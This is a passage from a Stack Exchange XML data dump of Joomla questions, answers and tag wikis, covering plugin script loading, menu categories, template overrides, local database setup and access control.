$doc-&amp;gt;addScript(&quot;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML&quot;);&#xA;            $doc-&amp;gt;addScript(plugins/system/MathJaxLatex2Html5/assets/js/latex2html5.min.js);&#xA;            $doc-&amp;gt;addStyleSheet(plugins/system/MathJaxLatex2Html5/assets/css/latex2html5.css);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Link to the installation of latex2html5&#xA;&lt;a href=&quot;http://latex2html5.com/installation.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://latex2html5.com/installation.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the only thing left now is how to include the required mathjax config into plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/x-mathjax-config&quot;&amp;gt;&#xA;    // &amp;lt;![CDATA[&#xA;    MathJax.Hub.Config({ &#xA;        TeX: {extensions: [&quot;AMSmath.js&quot;, &quot;AMSsymbols.js&quot;]},     &#xA;        extensions: [&quot;tex2jax.js&quot;],&#xA;        jax: [&quot;input/TeX&quot;, &quot;output/HTML-CSS&quot;],&#xA;        showProcessingMessages : false,&#xA;        messageStyle : &quot;none&quot; ,    &#xA;        showMathMenu: false ,&#xA;        tex2jax: {&#xA;            processEnvironments: true,&#xA;            inlineMath: [ ['$','$'], [&quot;\(&quot;,&quot;\)&quot;] ],&#xA;            displayMath: [ ['$$','$$'], [&quot;\[&quot;,&quot;\]&quot;] ],&#xA;            preview : &quot;none&quot;,&#xA;            processEscapes: true&#xA;        },&#xA;        &quot;HTML-CSS&quot;: { linebreaks: { automatic:true, width: &quot;latex-container&quot;} }&#xA;    });&#xA;    // ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone please guide me to the completion of the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1737" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-05T09:46:48.477" Title="MathJax and latex2html5 Joomla System Plugin" Tags="|joomla-3.x|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3884" PostTypeId="1" AcceptedAnswerId="3901" CreationDate="2014-08-05T06:49:28.377" Score="5" ViewCount="2175" Body="&lt;p&gt;Hi everyone i'm new here and also not really used to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got Joomla 3 and was wondering if i could link multiple categories to one menu item? Because i want to have on this side some articles, then a slideshow and afterwards some more articles form another category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To clarify:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hcu6i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Blue&lt;/em&gt;: Is already a category with articles&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Green&lt;/em&gt;: Is a slide show from a extension &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Red&lt;/em&gt;: Is where i would like to put some more articles in...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how this works?&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="126" LastEditDate="2015-09-26T05:19:24.970" LastActivityDate="2015-09-26T05:19:24.970" Title="Multiple categories linked to menu item" Tags="|articles|menu-item|article-manager|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3886" PostTypeId="2" ParentId="3883" CreationDate="2014-08-05T07:53:45.123" Score="0" Body="&lt;p&gt;Fair play to you for deciding to use a plugin and attempt this on your own, +1.&lt;/p&gt;&#xA;&lt;p&gt;You're very close, but forgot to use quotes when defining the path to the script and stylesheet. The following will work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript('http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML');&#xA;$doc-&amp;gt;addScript(JUri::root() . 'plugins/system/MathJaxLatex2Html5/assets/js/latex2html5.min.js');&#xA;$doc-&amp;gt;addStyleSheet(JUri::root() . 'plugins/system/MathJaxLatex2Html5/assets/css/latex2html5.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also note that for the script and stylesheet that your are importing from your own server, I have used &lt;code&gt;JUri::root()&lt;/code&gt; to define the root of the your Joomla installation as a baseline.&lt;/p&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;For to call the function, you can Joomla's &lt;code&gt;addScriptDeclaration()&lt;/code&gt; function which will inject your defined script into the head and automatically use the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$js = '&#xA;MathJax.Hub.Config({ &#xA;        TeX: {extensions: [&amp;quot;AMSmath.js&amp;quot;, &amp;quot;AMSsymbols.js&amp;quot;]},     &#xA;        extensions: [&amp;quot;tex2jax.js&amp;quot;],&#xA;        jax: [&amp;quot;input/TeX&amp;quot;, &amp;quot;output/HTML-CSS&amp;quot;],&#xA;        showProcessingMessages : false,&#xA;        messageStyle : &amp;quot;none&amp;quot; ,    &#xA;        showMathMenu: false ,&#xA;        tex2jax: {&#xA;            processEnvironments: true,&#xA;            inlineMath: [ ['$','$'], [&amp;quot;\(&amp;quot;,&amp;quot;\)&amp;quot;] ],&#xA;            displayMath: [ ['$$','$$'], [&amp;quot;\[&amp;quot;,&amp;quot;\]&amp;quot;] ],&#xA;            preview : &amp;quot;none&amp;quot;,&#xA;            processEscapes: true&#xA;        },&#xA;        &amp;quot;HTML-CSS&amp;quot;: { linebreaks: { automatic:true, width: &amp;quot;latex-container&amp;quot;} }&#xA;    });&#xA;';&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-05T09:46:48.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3888" PostTypeId="2" ParentId="3867" CreationDate="2014-08-05T10:48:12.460" Score="0" Body="&lt;p&gt;try this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show modal from element onload {&#xA;&#xA;SqueezeBox.open($('demo-target-adopt'), {&#xA;handler: 'adopt',&#xA;size: {x: 300, y: 200}&#xA;});&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reference: &lt;a href=&quot;http://www.escope.cz/en/blog/84-how-to-use-modal-box-in-joomla&quot; rel=&quot;nofollow&quot;&gt;http://www.escope.cz/en/blog/84-how-to-use-modal-box-in-joomla&lt;/a&gt;&#xA;regards&lt;/p&gt;&#xA;" OwnerUserId="1711" LastEditorUserId="1711" LastEditDate="2014-08-05T13:11:52.557" LastActivityDate="2014-08-05T13:11:52.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3889" PostTypeId="2" ParentId="3869" CreationDate="2014-08-05T12:04:20.353" Score="1" Body="&lt;p&gt;Comment on the issue on joomlacode from Brian:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This has been resolved already and will be in the 3.4 release.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.4 should be released shortly. All the discussion took place here: &#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3775&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/3775&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-08-05T12:04:20.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3890" PostTypeId="1" AcceptedAnswerId="3895" CreationDate="2014-08-05T12:55:09.960" Score="2" ViewCount="1970" Body="&lt;p&gt;I would like to include the article Links (as set in the Images and Links tab) below the intro text shown in the blog layout, above or below the 'Read more' link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried including this from the article default.php but it doesn't work, maybe something's missing or it's completely wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (isset($urls) &amp;amp;&amp;amp; ((!empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; ($urls-&amp;gt;urls_position == '0')) || ($params-&amp;gt;get('urls_position') == '0' &amp;amp;&amp;amp; empty($urls-&amp;gt;urls_position)))&#xA;        || (empty($urls-&amp;gt;urls_position) &amp;amp;&amp;amp; (!$params-&amp;gt;get('urls_position')))) : ?&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;loadTemplate('links'); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to tinker around with the content layouts and have created an override for the blog_item.php file but I am not a php expert. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Leila&lt;/p&gt;&#xA;" OwnerUserId="1740" LastEditorUserId="3650" LastEditDate="2016-11-24T18:22:29.483" LastActivityDate="2016-11-24T18:22:29.483" Title="How can I Include an article's Links in the blog intro text" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3891" PostTypeId="1" AcceptedAnswerId="3893" CreationDate="2014-08-04T19:54:42.863" Score="1" ViewCount="1542" Body="&lt;p&gt;I borked a Joomla site while trying to upgrade to Joomla 3. One of the extensions was not supported and I had to restore my backup, including the backup of the database. Unfortunately, it did not work and I just got mySql errors. I should not have tested it locally instead of trying it on a production site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am trying to run a copy of the website on my computer locally, with Xampp. Xampp is running Apache and mySql. I've configured MySql according to the instructions at: &lt;a href=&quot;http://docs.joomla.org/Copying_a_Joomla_website&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Copying_a_Joomla_website&lt;/a&gt; but I am still getting the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Database connection error (2): Could not connect to MySQL.Database connection error (2): Could not connect to MySQL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1750" OwnerDisplayName="heyzeuss" LastActivityDate="2014-08-05T15:28:45.987" Title="Migrating Joomla site to local machine" Tags="|mysql|phpmyadmin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3892" PostTypeId="2" ParentId="3891" CreationDate="2014-08-05T14:21:27.297" Score="2" Body="&lt;p&gt;This error means what it means.&#xA;You have defined some incorrect value for the database connection parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your &lt;strong&gt;configuration.php&lt;/strong&gt; file and ensure you have filled in the following variables correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $user = 'DB_USER';&#xA;public $password = 'DB_PASSWORD';&#xA;public $db = 'DB_NAME';&#xA;public $dbprefix = 'jos32_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also ensure that you have assigned your database user to the actual database in PhpMyAdmin&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-05T15:28:45.987" LastActivityDate="2014-08-05T15:28:45.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3893" PostTypeId="2" ParentId="3891" CreationDate="2014-08-05T15:21:48.567" Score="3" Body="&lt;p&gt;Take a look at your database settings in the file &lt;code&gt;configuration.php&lt;/code&gt; in your Joomla root directory, this is the file that connects Joomla with your MySQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using XAMPP on your computer, the &lt;code&gt;root&lt;/code&gt; user (with empty password) usually has access to all your databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting the following variables in you &lt;code&gt;configuration.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $user = 'root';&#xA;public $password = '';&#xA;public $db = 'DATABASENAME';&#xA;public $host = 'localhost';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(leave the rest of the fields as they are for now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short explanation:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;$host&lt;/strong&gt; : usually &quot;localhost&quot; when using XAMPP&lt;br&gt;&#xA;&lt;strong&gt;$user&lt;/strong&gt; : usually &quot;root&quot; when using XAMPP&lt;br&gt;&#xA;&lt;strong&gt;$password&lt;/strong&gt; : usually empty when using XAMPP&lt;br&gt;&#xA;&lt;strong&gt;$db&lt;/strong&gt; : The name of the database I assume you imported using a tool like &lt;code&gt;phpmyadmin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-05T15:21:48.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3894" PostTypeId="1" AcceptedAnswerId="4570" CreationDate="2014-08-05T20:17:09.183" Score="4" ViewCount="2246" Body="&lt;p&gt;I'm extremely new to Joomla and even simply hosting a website, so answers should be pretty step-by-step if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a hobby group site that will have multiple users submitting articles to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like registered users to be able to post their own articles without needing approval. So I'd like them to have publishing rights to their own articles. I would like them to be able to have the ability to edit the state of their own article, but NOT be able to edit the state of another users's articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had it set up to where users were able to auto-publish their own articles by turning on the &quot;edit state&quot; for them. However that made them able to unpublish other users articles. Not ideal.&lt;/p&gt;&#xA;" OwnerUserId="1742" LastEditorUserId="12352" LastEditDate="2020-09-15T08:31:37.970" LastActivityDate="2020-09-15T09:35:29.227" Title="Is there a way to have registered users auto-publish their articles" Tags="|articles|workflow|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3895" PostTypeId="2" ParentId="3890" CreationDate="2014-08-05T21:22:53.723" Score="3" Body="&lt;p&gt;Add the following code to your &lt;code&gt;blog_item.php&lt;/code&gt; override file where you want the links to show up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$urls    = json_decode($this-&amp;gt;item-&amp;gt;urls); // Create shortcut&#xA;if ($urls &amp;amp;&amp;amp; (!empty($urls-&amp;gt;urla) || !empty($urls-&amp;gt;urlb) || !empty($urls-&amp;gt;urlc))) :&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;content-links&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;nav nav-tabs nav-stacked&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;            $urlarray = array(&#xA;            array($urls-&amp;gt;urla, $urls-&amp;gt;urlatext, $urls-&amp;gt;targeta, 'a'),&#xA;            array($urls-&amp;gt;urlb, $urls-&amp;gt;urlbtext, $urls-&amp;gt;targetb, 'b'),&#xA;            array($urls-&amp;gt;urlc, $urls-&amp;gt;urlctext, $urls-&amp;gt;targetc, 'c')&#xA;            );&#xA;            foreach ($urlarray as $url) :&#xA;                $link = $url[0];&#xA;                $label = $url[1];&#xA;                $target = $url[2];&#xA;                $id = $url[3];&#xA;&#xA;                if ( ! $link) :&#xA;                    continue;&#xA;                endif;&#xA;&#xA;                // If no label is present, take the link&#xA;                $label = ($label) ? $label : $link;&#xA;&#xA;                // If no target is present, use the default&#xA;                $target = $target ? $target : $params-&amp;gt;get('target'.$id);&#xA;                ?&amp;gt;&#xA;            &amp;lt;li class=&quot;content-links-&amp;lt;?php echo $id; ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                    // Compute the correct link&#xA;&#xA;                    switch ($target)&#xA;                    {&#xA;                        case 1:&#xA;                            // open in a new window&#xA;                            echo '&amp;lt;a href=&quot;'. htmlspecialchars($link) .'&quot; target=&quot;_blank&quot;  rel=&quot;nofollow&quot;&amp;gt;'.&#xA;                                htmlspecialchars($label) .'&amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;&#xA;                        case 2:&#xA;                            // open in a popup window&#xA;                            $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=600,height=600';&#xA;                            echo &quot;&amp;lt;a href=\&quot;&quot; . htmlspecialchars($link) . &quot;\&quot; onclick=\&quot;window.open(this.href, 'targetWindow', '&quot;.$attribs.&quot;'); return false;\&quot;&amp;gt;&quot;.&#xA;                                htmlspecialchars($label).'&amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;                        case 3:&#xA;                            // open in a modal window&#xA;                            JHtml::_('behavior.modal', 'a.modal'); ?&amp;gt;&#xA;                            &amp;lt;a class=&quot;modal&quot; href=&quot;&amp;lt;?php echo htmlspecialchars($link); ?&amp;gt;&quot;  rel=&quot;{handler: 'iframe', size: {x:600, y:600}}&quot;&amp;gt;&#xA;                                &amp;lt;?php echo htmlspecialchars($label) . ' &amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;&#xA;                        default:&#xA;                            // open in parent window&#xA;                            echo '&amp;lt;a href=&quot;'.  htmlspecialchars($link) . '&quot; rel=&quot;nofollow&quot;&amp;gt;'.&#xA;                                htmlspecialchars($label) . ' &amp;lt;/a&amp;gt;';&#xA;                            break;&#xA;                    }&#xA;                ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I copied this code from &lt;code&gt;components\com_content\views\article\tmpl\default_links.php&lt;/code&gt;.) &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-05T21:22:53.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3896" PostTypeId="5" CreationDate="2014-08-05T22:22:49.350" Score="0" Body="&lt;h1&gt;SEF&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Search engine friendly (SEF), human-readable or clean URLs are URLs that make sense to both humans and search engines because they explain the path to the particular page they point to. Since version 1.5, Joomla! is capable of creating and parsing URLs in any format, including SEF URLs. This does not depend on URL rewriting executed by the web server, so it works even if Joomla! runs a server other than Apache with the mod_rewrite module. The SEF URLs follow a certain fixed pattern, but the user can define a short descriptive text (alias) for each segment of the URL.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to use SEF in Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By default, SEF urls are enabled in Joomla upon installation. The setting can be found in &lt;code&gt;Global Configuration&lt;/code&gt; under &lt;code&gt;SEO Settings&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When disabled, a Joomla URL might look like this:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1:welcome-to-joomla&amp;amp;catid=1:latest-news&amp;amp;Itemid=50&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1:welcome-to-joomla&amp;amp;catid=1:latest-news&amp;amp;Itemid=50&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the same URL looks when SEF is enabled in Joomla:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.example.com/the-&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/the-&lt;/a&gt;­news/1­-latest-­news/1-­welcome-­to­-joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that in order to remove &lt;code&gt;index.php&lt;/code&gt; from the URL, the setting &lt;code&gt;Use URL rewriting&lt;/code&gt; has to be enabled, AND the file &lt;code&gt;htaccess.txt&lt;/code&gt; has to be renamed to &lt;code&gt;.htaccess&lt;/code&gt; on Apache servers (on IIS7 servers, rename &lt;code&gt;web.config.txt&lt;/code&gt; to &lt;code&gt;web.config&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Even the tiniest error in &lt;code&gt;.htaccess&lt;/code&gt; will disable your entire site. Be careful when editing this file.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3rd party tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Several SEF tools can be found in the &lt;a href=&quot;http://extensions.joomla.org/extensions/site-management/sef&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;, both free and paid, with additional configuration options.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T16:25:05.473" LastActivityDate="2015-08-21T16:25:05.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3897" PostTypeId="4" CreationDate="2014-08-05T22:22:49.350" Score="0" Body="Search engine friendly (SEF), human-readable or clean URLs are URLs that make sense to both humans and search engines because they explain the path to the particular page they point to." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-06T14:17:44.160" LastActivityDate="2014-08-06T14:17:44.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3898" PostTypeId="5" CreationDate="2014-08-06T03:04:29.010" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://www.kunena.org/&quot; rel=&quot;nofollow&quot;&gt;Kunena&lt;/a&gt; is a forum component for Joomla. The name Kunena is from a Swahili word meaning, &quot;to speak&quot;. It was derived from the former Fireboard forum with new and previous developers that include several Joomla core developers. The developers have a long term goal to redesign Kunena from the ground up to take full advantage of what Joomla has to offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no company behind Kunena; everyone who contributes to Kunena is a hobbyist, enthusiast or professional web developer who gives their time freely to this project.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Downloading Kunena&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The current version as of July 2014 is Kunena 3.0.6. It is available for Joomla 2.5 and 3.x, and Joomla 3 users can install Kunena directly from the Joomla Extension Manager (Web installer). It is also available for downloaded at &lt;a href=&quot;http://www.kunena.org/download&quot; rel=&quot;nofollow&quot;&gt;http://www.kunena.org/download&lt;/a&gt;, as well as several modules and plugins to extend the functionality of Kunena.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-06T14:17:27.973" LastActivityDate="2014-08-06T14:17:27.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3899" PostTypeId="4" CreationDate="2014-08-06T03:04:29.010" Score="0" Body="Kunena is a popular forum extension for Joomla that integrates with the Joomla user system." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-06T14:17:46.723" LastActivityDate="2014-08-06T14:17:46.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3900" PostTypeId="2" ParentId="3894" CreationDate="2014-08-06T03:26:56.760" Score="0" Body="&lt;p&gt;Joomla supports this fully. There are already several levels of access set up in the default installation, but you can create your own levels and tweak the ACL (Access Control List) settings to your hearts content (including changing the settings for 3rd party components).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a short tutorial that might shed some light:&#xA;&lt;a href=&quot;http://docs.joomla.org/J2.5:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J2.5:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Edit Own&quot; is the setting you'll want to pay the most attention to. They can then flip the published/unpublished on their own articles.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-08-06T03:26:56.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3901" PostTypeId="2" ParentId="3884" CreationDate="2014-08-06T03:34:20.737" Score="5" Body="&lt;p&gt;Instead of trying to do nested categories you might want to just make a single article and link to that. Then use loadposition (or NoNumber modules anywhere) and just embed some modules INTO the page (not into module positions, though you could also do that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can stick whatever you want on the page, including a module that lists all the categories with links to them. You can literally custom build the entire article using modules. If your theme includes bootstrap you can even use grids and other goodies from bootstrap on it. The modules will just load into them where ever you want.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-08-06T03:34:20.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3902" PostTypeId="2" ParentId="3884" CreationDate="2014-08-06T07:22:25.800" Score="5" Body="&lt;p&gt;You can link to a category which has two child category (red and blue in your example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Menu links to category A which contains category b (blue) and category C (red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can put your slider in an article which belong to category B or C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can order your articles.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2014-08-06T07:22:25.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3903" PostTypeId="5" CreationDate="2014-08-06T12:59:34.800" Score="0" Body="&lt;h1&gt;Javascript&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript&lt;/strong&gt; is a dynamic, object-oriented, prototype-based, weakly typed language commonly used for client-side scripting in web browsers. Despite the name, it is unrelated to the Java programming language and shares only superficial similarities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless a tag for a framework/library is also included, a pure JavaScript answer is expected for questions with the javascript tag.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;JavaScript runs on nearly every OS, and an engine is included in almost every mainstream web browser. Developed in 1995 by Brendan Eich at Netscape Communications, it was originally called LiveScript but was renamed to JavaScript due to Netscape's friendly relationship with Sun Microsystems at the time.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Adding javascript to Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are three methods for embedding JavaScript into your code using the Joomla API; &lt;code&gt;JDocument::addScriptDeclaration&lt;/code&gt;, &lt;code&gt;JDocument::addScript&lt;/code&gt; and &lt;code&gt;script&lt;/code&gt;. These methods should be called either in your component's View class (&lt;code&gt;&amp;lt;yourcomponent&amp;gt;/views/&amp;lt;yourview&amp;gt;/view.html.php&lt;/code&gt;) or template script (&lt;code&gt;&amp;lt;yourcomponent&amp;gt;/views/&amp;lt;yourview&amp;gt;/tmpl/&amp;lt;yourtemplate&amp;gt;.php&lt;/code&gt; or in the case of a module, in its template script (&lt;code&gt;&amp;lt;yourmodule&amp;gt;/tmpl/&amp;lt;yourtemplate&amp;gt;.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inline JavaScript&lt;/strong&gt;&lt;br&gt;&#xA;Blocks of JavaScript code can be declared directly within a component or module's display template using the JDocument class' addScriptDeclaration method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptDeclaration('&#xA;    window.event(&quot;domready&quot;, function() {&#xA;        alert(&quot;An inline JavaScript Declaration&quot;);&#xA;    });&#xA;');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External JavaScript&lt;/strong&gt;&lt;br&gt;&#xA;Alternatively, you may wish to separate your JavaScript into a separate file. Separating your JavaScript into an external file can make your template code easier to read especially if the JavaScript is lengthy or complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to include a JavaScript file using the Joomla API. The first involves using the JDocument class' addScript method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScript('/media/system/js/sample.js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second uses the JHTML class' script method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Add the path parameter if the path is different than 'media/system/js/'&#xA;JHTML::script('sample.js', 'templates/custom/js/');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;API has changed in 3.x, so the second parameter cannot be a string. If you really need to use this method, you must include the absolute link to your javacript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;JHtml::script(Juri::base() . 'templates/custom/js/sample.js');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:33:42.993" LastActivityDate="2015-08-21T15:33:42.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
